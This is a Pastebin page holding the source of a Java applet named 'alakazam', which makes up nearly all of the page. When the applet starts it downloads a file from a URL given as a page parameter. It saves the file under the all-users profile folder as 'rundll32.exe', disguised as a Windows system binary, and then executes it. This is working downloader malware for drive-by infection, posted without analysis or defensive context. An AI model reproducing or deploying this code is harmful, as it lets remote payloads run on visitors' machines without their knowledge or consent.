Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.applet.Applet;
- import java.io.BufferedInputStream;
- import java.io.BufferedOutputStream;
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.net.URL;
- import java.util.logging.Level;
- import java.util.logging.Logger;
- public class alakazam extends Applet
- {
- public void start()
- {
- String str1 = getParameter("url");
- String str2 = System.getenv("ALLUSERSPROFILE") + "\\rundll32.exe";
- BufferedInputStream localBufferedInputStream = null;
- try {
- localBufferedInputStream = new BufferedInputStream(new URL(str1).openStream());
- } catch (IOException localIOException1) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException1);
- }
- FileOutputStream localFileOutputStream = null;
- try {
- localFileOutputStream = new FileOutputStream(str2);
- } catch (FileNotFoundException localFileNotFoundException) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
- }
- BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
- byte[] arrayOfByte = new byte[1024];
- try
- {
- int i;
- for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
- localBufferedOutputStream.write(arrayOfByte, 0, i);
- }
- catch (IOException localIOException2) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException2);
- }
- try {
- localBufferedOutputStream.close();
- } catch (IOException localIOException3) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException3);
- }
- try {
- localBufferedInputStream.close();
- } catch (IOException localIOException4) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException4);
- }
- try {
- Runtime.getRuntime().exec(str2);
- } catch (IOException localIOException5) {
- Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException5);
- }
- }
- public void main(String[] paramArrayOfString) {
- start();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement